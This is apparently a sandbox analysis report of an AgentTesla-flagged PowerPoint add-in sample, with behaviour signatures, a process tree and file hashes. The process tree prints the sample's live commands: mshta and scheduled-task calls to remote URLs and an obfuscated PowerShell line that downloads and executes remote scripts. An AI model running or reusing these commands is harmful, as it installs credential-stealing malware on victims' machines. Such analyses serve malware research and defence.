Analysis

  • max time kernel
    126s
  • max time network
    142s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    18-10-2021 09:32

General

  • Target

    M0120211002081457786750.ppam

  • Size

    11KB

  • MD5

    6dcc9d21ef2edc9fd781ff822bd084d9

  • SHA1

    6f06878c124458c4c470c271f403a996cc695bf1

  • SHA256

    33f4029423a3f52c376e6335e41d1ac4fccc9eff56aa29942cda968def3834c4

  • SHA512

    61a30c98be6af40ce7cc606ce0a864a1e3fece6cdd10f25af6e2bceebd3b240f4b73d22e9e9b0d27d1872747831ebeca97aa0dd1c4ffa3f9181ed0fdceb2c615

Malware Config

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • AgentTesla Payload 3 IoCs
  • Blocklisted process makes network request 13 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
  • Adds Run key to start application 2 TTPs 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\M0120211002081457786750.ppam" /ou ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2472
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" http://www.bitly.com/doaksoodwdasdwmdaweu
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:1944
      • C:\Windows\System32\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im winword.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1260
      • C:\Windows\System32\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3096
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""Bluefibonashi"" /F /tr ""\""MsHtA""\""http://1230948%[email protected]/p/9.html\""
        3⤵
        • Creates scheduled task(s)
        PID:1364
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_9ced8c4882bf438794323650cefdf10a.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_6d3e937b03944ed6970ddcdfb041998e.txt').GetResponse().GetResponseStream()).ReadToend());
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:568
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
          4⤵
          • Drops file in Drivers directory
          • Accesses Microsoft Outlook profiles
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:2508
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zzdukger\zzdukger.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1876
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3D43.tmp" "c:\Users\Admin\AppData\Local\Temp\zzdukger\CSCAB4B0787B16A470BA4B6D54044CF4285.TMP"
            5⤵
              PID:2472
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
            • Drops file in Drivers directory
            • Accesses Microsoft Outlook profiles
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: SetClipboardViewer
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            • outlook_office_path
            • outlook_win_path
            PID:2196
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
          dw20.exe -x -s 2980
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1424

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\RES3D43.tmp

      MD5

      bcaca9e5a8748f0773cdb0bf1b13a746

      SHA1

      939482296c7fb48750089dbfbc7beb6ab6393125

      SHA256

      462dd360f9e62506c20405436cb37ce4748a2df0c7b035237f3cc6727fcdeb1e

      SHA512

      bc323196abbd1dfd3cf95098c6d5e08865464e48f116fedf1cbd6aee47ab401828a6a2770dcf760b5b558720892579a2e189a12d96f193d5f63796afca263002

    • C:\Users\Admin\AppData\Local\Temp\zzdukger\zzdukger.dll

      MD5

      e4ada96b69b7961c6f8c6eeba5cd1ea6

      SHA1

      7d1e2791b68c16fd92b331605c4fbf8b7d5c2fc5

      SHA256

      e5e417f9599de88da2e4aa274f6ab39eb661f9ff01f68805cb7d56f8523a23d1

      SHA512

      46635b580efe714f84222c2dbd48516e4d7ec2906ea88138e113c3429ecb95f9b8bd24d201339965b3caa218f0f17f468f3b14838b3d4245d9d0c751d3723f28

    • C:\Windows\system32\drivers\etc\hosts

      MD5

      5b2d17233558878a82ee464d04f58b59

      SHA1

      47ebffcad0b4c358df0d6a06ef335cb6aab0ab20

      SHA256

      5b036588bb4cad3de01dd04988af705da135d9f394755080cf9941444c09a542

      SHA512

      d2aec9779eb8803514213a8e396b2f7c0b4a6f57de1ee84e9db0343ee5ff093e26bb70e0737a6681e21e88898ef5139969ff0b4b700cb6727979bd898fdbc85b

    • \??\c:\Users\Admin\AppData\Local\Temp\zzdukger\CSCAB4B0787B16A470BA4B6D54044CF4285.TMP

      MD5

      0d9b2e1a652efe65d397d4ce054730ee

      SHA1

      6f4466d464a97caa600addd8b62f95dccedcf15b

      SHA256

      6676cb4fd7135e5f3641753e50c13d1d07722931e0ca1eefa2bb741f3349bd23

      SHA512

      3d3bd768c35a851e5a520fc3e1e562d5e6585c4535e9c8e534dc339786b3ab8d515eeb906eecc4e6cecd043c4edd0fe1bf955d9305513dea11312f71c2a3ca24

    • \??\c:\Users\Admin\AppData\Local\Temp\zzdukger\zzdukger.0.cs

      MD5

      e03b1e7ba7f1a53a7e10c0fd9049f437

      SHA1

      3bb851a42717eeb588eb7deadfcd04c571c15f41

      SHA256

      3ca2d456cf2f8d781f2134e1481bd787a9cb6f4bcaa2131ebbe0d47a0eb36427

      SHA512

      a098a8e2a60a75357ee202ed4bbe6b86fa7b2ebae30574791e0d13dcf3ee95b841a14b51553c23b95af32a29cc2265afc285b3b0442f0454ea730de4d647383f

    • \??\c:\Users\Admin\AppData\Local\Temp\zzdukger\zzdukger.cmdline

      MD5

      1b7bec0c803dd759d2672ca19a3bb4f8

      SHA1

      383afe75356d04b79dc90d5e80cb005fa6064f4a

      SHA256

      4bbc906b70cc31c065f62ee1872eef1ed85ce3814c60b33ef4e4d2baed731f91

      SHA512

      3319f9855477a64cea1ef59067683b61144f64ad84036000220710ea2da87eca083fbae844f13ec76b503b078a97de7e3eee790142bda712d64afb6b1088301b

    • memory/568-319-0x000001B2ED550000-0x000001B2ED552000-memory.dmp

      Filesize

      8KB

    • memory/568-320-0x000001B2ED553000-0x000001B2ED555000-memory.dmp

      Filesize

      8KB

    • memory/568-304-0x0000000000000000-mapping.dmp

    • memory/568-328-0x000001B2ED556000-0x000001B2ED558000-memory.dmp

      Filesize

      8KB

    • memory/1260-302-0x0000000000000000-mapping.dmp

    • memory/1364-305-0x0000000000000000-mapping.dmp

    • memory/1424-306-0x0000000000000000-mapping.dmp

    • memory/1876-389-0x0000000000000000-mapping.dmp

    • memory/1944-268-0x0000000000000000-mapping.dmp

    • memory/2196-398-0x000000000043752E-mapping.dmp

    • memory/2196-404-0x0000000005700000-0x0000000005BFE000-memory.dmp

      Filesize

      5.0MB

    • memory/2196-415-0x0000000005700000-0x0000000005BFE000-memory.dmp

      Filesize

      5.0MB

    • memory/2472-128-0x00007FF81E1A0000-0x00007FF81E1B0000-memory.dmp

      Filesize

      64KB

    • memory/2472-122-0x00000257ABF90000-0x00000257ABF92000-memory.dmp

      Filesize

      8KB

    • memory/2472-116-0x00007FF821CC0000-0x00007FF821CD0000-memory.dmp

      Filesize

      64KB

    • memory/2472-117-0x00007FF821CC0000-0x00007FF821CD0000-memory.dmp

      Filesize

      64KB

    • memory/2472-129-0x00007FF81E1A0000-0x00007FF81E1B0000-memory.dmp

      Filesize

      64KB

    • memory/2472-115-0x00007FF821CC0000-0x00007FF821CD0000-memory.dmp

      Filesize

      64KB

    • memory/2472-392-0x0000000000000000-mapping.dmp

    • memory/2472-118-0x00007FF821CC0000-0x00007FF821CD0000-memory.dmp

      Filesize

      64KB

    • memory/2472-121-0x00000257ABF90000-0x00000257ABF92000-memory.dmp

      Filesize

      8KB

    • memory/2472-120-0x00000257ABF90000-0x00000257ABF92000-memory.dmp

      Filesize

      8KB

    • memory/2472-119-0x00007FF821CC0000-0x00007FF821CD0000-memory.dmp

      Filesize

      64KB

    • memory/2508-331-0x000000000043752E-mapping.dmp

    • memory/2508-414-0x0000000005110000-0x000000000560E000-memory.dmp

      Filesize

      5.0MB

    • memory/2508-388-0x0000000005110000-0x000000000560E000-memory.dmp

      Filesize

      5.0MB

    • memory/3096-303-0x0000000000000000-mapping.dmp